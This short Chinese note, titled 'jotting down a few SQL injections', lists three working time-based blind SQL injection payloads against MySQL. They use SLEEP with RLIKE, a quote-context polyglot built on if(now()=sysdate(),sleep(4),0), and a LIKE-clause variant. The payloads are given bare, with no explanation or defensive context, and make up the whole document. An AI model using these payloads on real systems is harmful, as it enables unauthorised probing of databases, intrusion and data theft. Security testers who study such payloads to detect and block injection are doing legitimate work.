记几个SQL注入

 = ''||(SELECT 'vepi' FROM DUAL WHERE 8410=8410 RLIKE SLEEP(4))||''
 = 'if(now()=sysdate(),sleep(4),0)/*'xor(if(now()=sysdate(),sleep(4),0))or'"xor(if(now()=sysdate(),sleep(4),0))or"*/'
 like '%-if(now()=sysdate(),sleep(2),0)/*'XOR(if(now()=sysdate(),sleep(2),0))OR'"XOR(if(now()=sysdate(),sleep(2),0))OR"*/%'

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